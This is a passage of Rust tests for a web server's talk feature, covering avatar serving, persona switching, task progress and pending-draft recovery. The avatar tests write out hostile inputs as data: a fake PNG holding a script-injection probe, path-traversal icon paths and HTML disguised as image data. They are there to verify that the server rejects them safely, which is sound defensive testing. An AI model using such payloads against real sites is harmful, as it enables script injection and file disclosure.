14075 home.path(),
14076 &id_links::IndexCache::default(),
14077 );
14078 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14079 }
14080
14081 #[tokio::test]
14082 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14083 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14084 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14085 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14086 let _ = magi_icon_put(
14087 State(ui.clone()),
14088 Json(MagiIconUpload { icon: icon.into() }),
14089 )
14090 .await
14091 .unwrap();
14092 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14093 assert_ne!(original, changed);
14094 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14095 let response = magi_avatar(
14096 State(ui.clone()),
14097 Query(AvatarQuery {
14098 persona: None,
14099 builtin: None,
14100 }),
14101 )
14102 .await;
14103 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14104 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14105 assert_eq!(
14106 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14107 "nosniff"
14108 );
14109 for bad in [
14110 "data:image/png;base64,PGh0bWw+".to_owned(),
14111 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14112 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14113 ] {
14114 assert!(save_magi_icon(home.path(), &bad).is_err());
14115 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14116 }
14117 let restarted = Arc::new(Ui::new(
14119 Queue::at(home.path().join("queue")),
14120 Questions::at(home.path().join("questions")),
14121 Talks::at(home.path().join("talks")),
14122 home.path().join("runs"),
14123 home.path().to_path_buf(),
14124 repo,
14125 ));
14126 assert_eq!(
14127 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14128 changed
14129 );
14130 let view = TalkView::with_config(
14131 restarted.talks.get(&id).unwrap(),
14132 false,
14133 None,
14134 &restarted.home,
14135 &restarted.references,
14136 );
14137 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14138 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14139 let response = magi_avatar(
14140 State(ui.clone()),
14141 Query(AvatarQuery {
14142 persona: None,
14143 builtin: None,
14144 }),
14145 )
14146 .await;
14147 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14148 .await
14149 .unwrap();
14150 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14151 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14152 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14153 let _ = magi_icon_delete(State(ui)).await.unwrap();
14154 }
14155
14156 async fn avatar(
14158 ui: &Arc<Ui>,
14159 id: &str,
14160 persona: Option<&str>,
14161 builtin: bool,
14162 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14163 let res = talk_avatar(
14164 State(Arc::clone(ui)),
14165 Path(id.to_owned()),
14166 Query(AvatarQuery {
14167 persona: persona.map(str::to_owned),
14168 builtin: builtin.then(|| "1".to_owned()),
14169 }),
14170 )
14171 .await
14172 .expect("an avatar is never an error response");
14173 let h = res.headers();
14174 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14175 let nosniff = h
14176 .get(header::X_CONTENT_TYPE_OPTIONS)
14177 .is_some_and(|v| v == "nosniff");
14178 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14179 let status = res.status();
14180 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14181 .await
14182 .expect("body")
14183 .to_vec();
14184 (status, ct, nosniff, csp, body)
14185 }
14186
14187 fn tiny_png() -> Vec<u8> {
14188 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14189 b.extend_from_slice(&[0u8; 32]);
14190 b
14191 }
14192
14193 #[tokio::test]
14194 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14195 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14196 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14197 assert_eq!(res.status(), StatusCode::OK);
14198 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14199 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14200 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14201 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14202 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14203 .await
14204 .unwrap();
14205 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14206 assert_ne!(
14207 persona_icon::operator_svg(),
14208 persona_icon::builtin_svg("default")
14209 );
14210 }
14211
14212 #[tokio::test]
14213 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14214 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14215 for p in [
14216 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14217 ] {
14218 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14219 assert_eq!(status, StatusCode::OK, "{p}");
14220 assert_eq!(ct, "image/svg+xml", "{p}");
14221 assert!(nosniff && csp, "{p}");
14222 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14223 }
14224 let own = avatar(&ui, &id, None, false).await;
14226 let default = avatar(&ui, &id, Some("default"), false).await;
14227 assert_eq!(own.4, default.4);
14228 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14229 assert_eq!(unknown.1, "image/svg+xml");
14230 }
14231
14232 #[tokio::test]
14233 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14234 let dir = TempDir::new().expect("icons");
14235 let good = dir.path().join("good.png");
14236 std::fs::write(&good, tiny_png()).unwrap();
14237 let spoof = dir.path().join("spoof.png");
14238 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14239 let big = dir.path().join("big.png");
14240 let mut bytes = tiny_png();
14241 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14242 std::fs::write(&big, bytes).unwrap();
14243 let missing = dir.path().join("missing.png");
14244 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14245 let extra = format!(
14246 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14247 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14248 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14249 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14250 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14251 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14252 uri(&good),
14253 uri(&spoof),
14254 uri(&big),
14255 uri(&missing),
14256 );
14257 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14258
14259 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14260 assert_eq!(
14261 (status, ct.as_str(), nosniff),
14262 (StatusCode::OK, "image/png", true)
14263 );
14264 assert_eq!(body, tiny_png());
14265 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14266 assert_eq!(ct, "image/png", "data URI");
14267
14268 for p in ["misato", "asuka", "shinji", "magi"] {
14269 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14270 assert_eq!(
14271 (status, ct.as_str(), csp),
14272 (StatusCode::OK, "image/svg+xml", true),
14273 "{p}"
14274 );
14275 assert!(body.starts_with(b"<svg"), "{p}");
14276 }
14277 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14279 assert_eq!(ct, "image/svg+xml");
14280 }
14281
14282 #[tokio::test]
14283 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14284 let oversized = format!(
14285 "data:image/png;base64,{}",
14286 "A".repeat(persona_icon::ICON_MAX_BYTES)
14287 );
14288 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14289 let extra = format!(
14290 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14291 );
14292 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14293 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14294 .await
14295 .expect("detail with invalid icon");
14296 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14297 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14298 assert_eq!(status, StatusCode::OK);
14299 assert_eq!(ct, "image/svg+xml");
14300 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14301 let Json(view) = talk_persona(
14302 State(Arc::clone(&ui)),
14303 Path(id.clone()),
14304 Json(TalkPersona {
14305 persona: "custom".into(),
14306 }),
14307 )
14308 .await
14309 .expect("persona switch with invalid icon");
14310 assert_eq!(view.talk.persona, "custom");
14311 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14312 }
14313 }
14314
14315 #[tokio::test]
14316 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14317 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14318 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14319 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14320 assert_eq!(
14321 (status, ct.as_str(), nosniff, csp),
14322 (StatusCode::OK, "image/svg+xml", true, true)
14323 );
14324 }
14325
14326 #[tokio::test]
14327 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14328 let (_t, _h, ui, id, _repo) =
14329 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14330 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14331 .await
14332 .expect("detail");
14333 let json = serde_json::to_string(&detail).unwrap();
14334 assert!(
14335 !json.contains("secret"),
14336 "the icon setting must not leak: {json}"
14337 );
14338 assert!(
14339 detail
14340 .view
14341 .persona_avatar
14342 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14343 );
14344 assert_eq!(
14345 detail.view.operator_avatar,
14346 format!(
14347 "/avatars/operator.svg?v={}",
14348 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14349 )
14350 );
14351 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14352 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14353 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14354 assert!(rei.avatar.contains("persona=rei&v="));
14355 assert_ne!(
14356 rei.avatar.split("&v=").nth(1),
14357 plain.avatar.split("&v=").nth(1)
14358 );
14359 }
14360
14361 #[tokio::test]
14362 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14363 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14364 let cfg = config_for(&repo).await.unwrap();
14365 for arrived in [false, true] {
14366 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14367 let observed = ui.queued_generation(&id);
14368 let talk = ui.talks.get(&id).unwrap();
14369 if arrived {
14370 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14371 }
14372 let mut settling = std::pin::pin!(settle_settings_turn(
14373 talk,
14374 ui.talks.clone(),
14375 cfg.clone(),
14376 id.clone(),
14377 turn,
14378 observed
14379 ));
14380 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14381 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14382 assert_eq!(first.is_pending(), arrived);
14383 if arrived {
14384 assert!(!settling.await);
14385 }
14386 assert!(!ui.is_thinking(&id));
14387 }
14388 }
14389
14390 #[tokio::test]
14391 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14392 let tmp = TempDir::new().expect("tempdir");
14393 let repo = tmp.path().join("repo");
14394 std::fs::create_dir_all(&repo).expect("repo dir");
14395 std::fs::write(
14396 repo.join("magi.toml"),
14397 format!(
14398 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14399 ),
14400 )
14401 .expect("write magi.toml");
14402 let home = TempDir::new().expect("temp home");
14403 let talks = Talks::at(home.path().join("talks"));
14404 let ui = Arc::new(
14405 Ui::new(
14406 Queue::at(home.path().join("queue")),
14407 Questions::at(home.path().join("questions")),
14408 talks.clone(),
14409 home.path().join("runs"),
14410 home.path().to_path_buf(),
14411 repo.clone(),
14412 )
14413 .with_worktrees_root(home.path().join("wt")),
14414 );
14415 let cfg = config_for(&repo).await.expect("discover config");
14416 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14417 let id = talk.id.clone();
14418 let call = |persona: &str| {
14419 talk_persona(
14420 State(Arc::clone(&ui)),
14421 Path(id.clone()),
14422 Json(TalkPersona {
14423 persona: persona.to_owned(),
14424 }),
14425 )
14426 };
14427
14428 let unknown = call("nobody").await.expect_err("unknown persona");
14429 assert_eq!(
14430 unknown.status,
14431 StatusCode::BAD_REQUEST,
14432 "{}",
14433 unknown.message
14434 );
14435
14436 {
14437 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14440 let busy = call("rei").await.expect_err("busy talk");
14441 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14442 assert!(
14443 busy.message.contains("a talk turn is running"),
14444 "{}",
14445 busy.message
14446 );
14447 drop(guard);
14448 }
14449 assert_eq!(talks.get(&id).expect("reload").persona, "");
14450
14451 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14452 assert_eq!(view.talk.persona, "gendo");
14453 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14454 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14455 for chosen in ["default", "gendo", "rei", "gendo"] {
14457 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14458 assert!(!view.thinking);
14459 assert!(!ui.is_thinking(&id));
14460 }
14461
14462 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14463 .await
14464 .expect("detail");
14465 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14466 assert_eq!(ids.first(), Some(&"default"));
14467 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14468
14469 let Json(view) = call("default").await.expect("back to default");
14470 assert_eq!(view.talk.persona, "");
14471
14472 let mut closed = talks.get(&id).expect("reload");
14473 talk::close(&mut closed, &talks).expect("close");
14474 let refused = call("rei").await.expect_err("closed talk");
14475 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14476 assert!(
14477 refused.message.contains("takes no more turns"),
14478 "{}",
14479 refused.message
14480 );
14481 }
14482
14483 #[tokio::test]
14484 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14485 let f = Fixture::start().await;
14486 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14487 let queue = f.queue();
14488 let mut mine = Task::new(
14489 "rename the loader".to_owned(),
14490 "rename the loader".to_owned(),
14491 PathBuf::from("/repo/magi"),
14492 Source::Agent {
14493 run: talk_id.clone(),
14494 node: "chat".to_owned(),
14495 },
14496 );
14497 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14498 assert_eq!(empty["task_progress"]["state"], "none");
14499 assert_eq!(empty["task_progress"]["total"], 0);
14500 queue.put(&mut mine).expect("file the task");
14501 let mut theirs = Task::new(
14502 "unrelated".to_owned(),
14503 "unrelated".to_owned(),
14504 PathBuf::from("/repo/magi"),
14505 Source::Human,
14506 );
14507 theirs.origin_chat = Some(talk_id.clone());
14509 queue.put(&mut theirs).expect("file the task");
14510
14511 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14512 assert_eq!(res.status, 200, "{}", res.body);
14513 let body = res.json();
14514 assert_eq!(
14515 body["status"], "open",
14516 "filing a task does not close a talk"
14517 );
14518 let tasks = body["tasks"].as_array().expect("tasks array");
14519 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14520 assert_eq!(tasks[0]["id"], mine.id);
14521 for status in [
14522 TaskStatus::Queued,
14523 TaskStatus::Running,
14524 TaskStatus::Held,
14525 TaskStatus::Failed,
14526 TaskStatus::Blocked,
14527 TaskStatus::Parked,
14528 TaskStatus::Done,
14529 TaskStatus::Queued,
14530 ] {
14531 mine.status = status;
14532 queue.put(&mut mine).expect("update status");
14533 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14534 let progress = &detail["task_progress"];
14535 assert_eq!(progress["total"], 1);
14536 assert_eq!(progress["counts"][status.as_str()], 1);
14537 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14538 assert_eq!(detail["status"], "open", "completion never closes the chat");
14539 if status == TaskStatus::Done {
14540 assert_eq!(progress["state"], "complete");
14541 assert_eq!(progress["done"], 1);
14542 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14543 } else {
14544 assert_eq!(progress["state"], "incomplete");
14545 assert_eq!(progress["done"], 0);
14546 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14547 }
14548 }
14549 }
14550
14551 #[test]
14552 fn talk_task_progress_counts_mixed_statuses() {
14553 let mut tasks: Vec<_> = [
14554 TaskStatus::Queued,
14555 TaskStatus::Running,
14556 TaskStatus::Held,
14557 TaskStatus::Failed,
14558 TaskStatus::Blocked,
14559 TaskStatus::Parked,
14560 TaskStatus::Done,
14561 ]
14562 .into_iter()
14563 .map(|status| {
14564 let mut task = Task::new(
14565 "task".into(),
14566 "task".into(),
14567 PathBuf::from("/repo"),
14568 Source::Human,
14569 );
14570 task.status = status;
14571 task
14572 })
14573 .collect();
14574 let progress = talk_task_progress(&tasks);
14575 assert_eq!(progress.state, "incomplete");
14576 assert_eq!(progress.total, 7);
14577 assert_eq!(progress.done, 1);
14578 assert_eq!(progress.unfinished_ids.len(), 6);
14579 assert!(progress.counts.values().all(|count| *count == 1));
14580 assert_eq!(
14581 progress.unfinished_ids,
14582 tasks[..6]
14583 .iter()
14584 .map(|task| task.id.clone())
14585 .collect::<Vec<_>>()
14586 );
14587
14588 for task in &mut tasks {
14589 task.status = TaskStatus::Done;
14590 }
14591 let complete = talk_task_progress(&tasks);
14592 assert_eq!(complete.state, "complete");
14593 assert_eq!(complete.done, 7);
14594 assert!(complete.unfinished_ids.is_empty());
14595 tasks[0].status = TaskStatus::Queued;
14596 let requeued = talk_task_progress(&tasks);
14597 assert_eq!(requeued.state, "incomplete");
14598 assert_eq!(requeued.done, 6);
14599 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14600
14601 let empty = talk_task_progress(&[]);
14602 assert_eq!(empty.state, "none");
14603 assert_eq!(empty.total, 0);
14604 assert_eq!(empty.done, 0);
14605 assert!(empty.unfinished_ids.is_empty());
14606 assert!(empty.counts.values().all(|count| *count == 0));
14607 }
14608
14609 #[tokio::test]
14610 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14611 let (_tmp, _repo, f) = talk_fixture().await;
14612 let id = f.post("/api/talks", None).await.json()["id"]
14613 .as_str()
14614 .expect("id")
14615 .to_owned();
14616
14617 let res = f
14618 .post(
14619 &format!("/api/talks/{id}/say"),
14620 Some(r#"{"text":"what does the queue module do?"}"#),
14621 )
14622 .await;
14623 assert_eq!(res.status, 202, "{}", res.body);
14624 let queued = res.json();
14625 let turns = queued["turns"].as_array().expect("turns array");
14626 assert_eq!(
14627 turns.len(),
14628 1,
14629 "the answer reflects only what is on disk the instant it is sent, \
14630 before the agent's turn - which can run for the whole of \
14631 `[graph] timeout_talk` - has a chance to land: {queued}"
14632 );
14633 assert_eq!(turns[0]["who"], "operator");
14634 assert_eq!(turns[0]["body"], "what does the queue module do?");
14635 assert_eq!(
14636 queued["thinking"], true,
14637 "the accepted response exposes the background turn claim: {queued}"
14638 );
14639
14640 let mut turns_after = 1;
14641 for _ in 0..SETTLE_STEPS {
14642 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14643 turns_after = detail["turns"].as_array().expect("turns array").len();
14644 if turns_after == 2 {
14645 break;
14646 }
14647 tokio::time::sleep(Duration::from_millis(10)).await;
14648 }
14649 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14650 }
14651
14652 #[tokio::test]
14679 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14680 let tmp = TempDir::new().expect("tempdir");
14681 let repo = tmp.path().join("repo");
14682 std::fs::create_dir_all(&repo).expect("repo dir");
14683 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14684 let home = TempDir::new().expect("temp home");
14685 let talks = Talks::at(home.path().join("talks"));
14686 let ui = Arc::new(
14687 Ui::new(
14688 Queue::at(home.path().join("queue")),
14689 Questions::at(home.path().join("questions")),
14690 talks.clone(),
14691 home.path().join("runs"),
14692 home.path().to_path_buf(),
14693 repo.clone(),
14694 )
14695 .with_worktrees_root(home.path().join("wt")),
14696 );
14697 let cfg = config_for(&repo).await.expect("discover config");
14698
14699 for delay in 0..40u32 {
14700 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14701 let id = talk.id.clone();
14702
14703 let handler = tokio::spawn(talk_say(
14704 State(Arc::clone(&ui)),
14705 Path(id.clone()),
14706 Ok(Json(NewTalkTurn {
14707 reply_to: None,
14708 text: "what does the queue module do?".to_owned(),
14709 attachments: Vec::new(),
14710 })),
14711 ));
14712 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14713 handler.abort();
14714 let _ = handler.await;
14717
14718 let mut turns = 0;
14719 for _ in 0..SETTLE_STEPS {
14720 if let Ok(fresh) = talks.get(&id) {
14721 turns = fresh.turns.len();
14722 if turns != 1 {
14723 break;
14724 }
14725 }
14726 tokio::time::sleep(Duration::from_millis(10)).await;
14727 }
14728 assert_ne!(
14729 turns, 1,
14730 "delay {delay}: talk {id} recorded the operator's turn but \
14731 the agent never answered - the reply task was never \
14732 started after the handler future was dropped"
14733 );
14734 }
14735 }
14736
14737 #[tokio::test]
14782 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14783 let tmp = TempDir::new().expect("tempdir");
14784 let repo = tmp.path().join("repo");
14785 std::fs::create_dir_all(&repo).expect("repo dir");
14786 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14787 let home = TempDir::new().expect("temp home");
14788 let talks = Talks::at(home.path().join("talks"));
14789 let ui = Arc::new(
14790 Ui::new(
14791 Queue::at(home.path().join("queue")),
14792 Questions::at(home.path().join("questions")),
14793 talks.clone(),
14794 home.path().join("runs"),
14795 home.path().to_path_buf(),
14796 repo.clone(),
14797 )
14798 .with_worktrees_root(home.path().join("wt")),
14799 );
14800 let cfg = config_for(&repo).await.expect("discover config");
14801
14802 for attempt in 0..3u32 {
14803 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14804 let id = talk.id.clone();
14805 let turn_guard = ui
14808 .begin_talk_turn(&id)
14809 .expect("claim the turn")
14810 .expect("a fresh talk owes nobody a turn");
14811
14812 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14813 let (release_tx, release_rx) = std::sync::mpsc::channel();
14814 ui.set_busy_queue_gate(BusyQueueGate {
14815 reached: reached_tx,
14816 release: release_rx,
14817 });
14818
14819 let handler = tokio::spawn(talk_say(
14820 State(Arc::clone(&ui)),
14821 Path(id.clone()),
14822 Ok(Json(NewTalkTurn {
14823 reply_to: None,
14824 text: "what does the queue module do?".to_owned(),
14825 attachments: Vec::new(),
14826 })),
14827 ));
14828
14829 tokio::time::timeout(Duration::from_secs(5), reached_rx)
14834 .await
14835 .unwrap_or_else(|_| {
14836 panic!(
14837 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14838 )
14839 })
14840 .expect("the busy branch dropped the gate without using it");
14841
14842 let running = talks.get(&id).expect("reload talk");
14849 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14850
14851 handler.abort();
14855 let _ = handler.await;
14856
14857 let _ = release_tx.send(());
14863
14864 let mut fresh = talks.get(&id).expect("reload talk");
14867 for _ in 0..SETTLE_STEPS {
14868 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14869 break;
14870 }
14871 tokio::time::sleep(Duration::from_millis(10)).await;
14872 fresh = talks.get(&id).expect("reload talk");
14873 }
14874 assert!(
14875 fresh.pending.is_empty() && fresh.turns.len() == 2,
14876 "attempt {attempt}: talk {id} left the operator's text queued \
14877 with no drainer - the reclaimed turn was dropped along with \
14878 the handler future (pending {:?}, {} turns)",
14879 fresh.pending,
14880 fresh.turns.len()
14881 );
14882 }
14883 }
14884
14885 #[tokio::test]
14886 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14887 let (_tmp, _repo, f) = talk_fixture().await;
14888 let id = f.post("/api/talks", None).await.json()["id"]
14889 .as_str()
14890 .expect("id")
14891 .to_owned();
14892 let store = f.talks();
14893 let mut recovered = store.get(&id).expect("opened talk");
14894 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14895 .expect("persist pending draft without a live turn");
14896
14897 let edited = f
14898 .post(
14899 &format!("/api/talks/{id}/pending/edit"),
14900 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14901 )
14902 .await;
14903 assert_eq!(edited.status, 200, "{}", edited.body);
14904 assert!(edited.json()["thinking"].as_bool().unwrap());
14905
14906 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14907 for _ in 0..SETTLE_STEPS {
14908 if detail["turns"].as_array().expect("turns").len() == 2 {
14909 break;
14910 }
14911 tokio::time::sleep(Duration::from_millis(10)).await;
14912 detail = f.get(&format!("/api/talks/{id}")).await.json();
14913 }
14914 let turns = detail["turns"].as_array().expect("turns");
14915 assert_eq!(
14916 turns.len(),
14917 2,
14918 "the recovered draft must run once: {detail}"
14919 );
14920 assert_eq!(turns[0]["body"], "corrected");
14921 assert_eq!(detail["pending"], "");
14922 }
14923
14924 #[tokio::test]
14925 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14926 let tmp = TempDir::new().expect("tempdir");
14927 let repo = tmp.path().join("repo");
14928 std::fs::create_dir_all(&repo).expect("repo dir");
14929 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14930 let f = Fixture::with_repo(repo).await;
14931 let id = f.post("/api/talks", None).await.json()["id"]
14932 .as_str()
14933 .expect("id")
14934 .to_owned();
14935 let store = f.talks();
14936 let mut recovered = store.get(&id).expect("opened talk");
14937 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14938 .expect("persist pending draft without a live turn");
14939
14940 let refused = f
14941 .post(
14942 &format!("/api/talks/{id}/say"),
14943 Some(r#"{"text":"new message"}"#),
14944 )
14945 .await;
14946 assert_eq!(refused.status, 409, "{}", refused.body);
14947 assert!(refused.body.contains("resume"), "{}", refused.body);
14948 let saved = store.get(&id).expect("draft remains after refusal");
14949 assert!(saved.turns.is_empty());
14950 assert_eq!(saved.pending, "saved before restart");
14951
14952 let say_path = format!("/api/talks/{id}/say");
14953 let (first, second) = tokio::join!(
14954 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14955 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14956 );
14957 assert_eq!(first.status, 409, "{}", first.body);
14958 assert_eq!(second.status, 409, "{}", second.body);
14959 let saved = store
14960 .get(&id)
14961 .expect("draft remains after concurrent refusals");
14962 assert!(saved.turns.is_empty());
14963 assert_eq!(saved.pending, "saved before restart");
14964
14965 let resumed = f
14966 .post(&format!("/api/talks/{id}/pending/resume"), None)
14967 .await;
14968 assert_eq!(resumed.status, 202, "{}", resumed.body);
14969 let duplicate = f
14970 .post(&format!("/api/talks/{id}/pending/resume"), None)
14971 .await;
14972 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14973
14974 for _ in 0..SETTLE_STEPS {
14975 if store.get(&id).expect("talk").turns.len() == 2 {
14976 break;
14977 }
14978 tokio::time::sleep(Duration::from_millis(10)).await;
14979 }
14980 let finished = store.get(&id).expect("finished talk");
14981 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14982 assert_eq!(finished.turns[0].body, "saved before restart");
14983 assert!(finished.pending.is_empty());
14984 }
14985
14986 #[tokio::test]
14987 async fn an_image_only_recovered_draft_resumes_without_text() {
14988 let (_tmp, _repo, f) = talk_fixture().await;
14989 let id = f.post("/api/talks", None).await.json()["id"]
14990 .as_str()
14991 .expect("id")
14992 .to_owned();
14993 let uploaded = f
14994 .post_bytes(
14995 &format!("/api/talks/{id}/attachments"),
14996 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14997 PNG_BYTES,
14998 )
14999 .await;
15000 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15001 let attachment = f
15002 .talks()
15003 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15004 .expect("attachment metadata")
15005 .expect("stored attachment");
15006 let store = f.talks();
15007 let mut recovered = store.get(&id).expect("opened talk");
15008 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15009
15010 let resumed = f
15011 .post(&format!("/api/talks/{id}/pending/resume"), None)
15012 .await;
15013 assert_eq!(resumed.status, 202, "{}", resumed.body);
15014 for _ in 0..SETTLE_STEPS {
15015 if store.get(&id).expect("talk").turns.len() == 2 {
15016 break;
15017 }
15018 tokio::time::sleep(Duration::from_millis(10)).await;
15019 }
15020 let finished = store.get(&id).expect("finished talk");
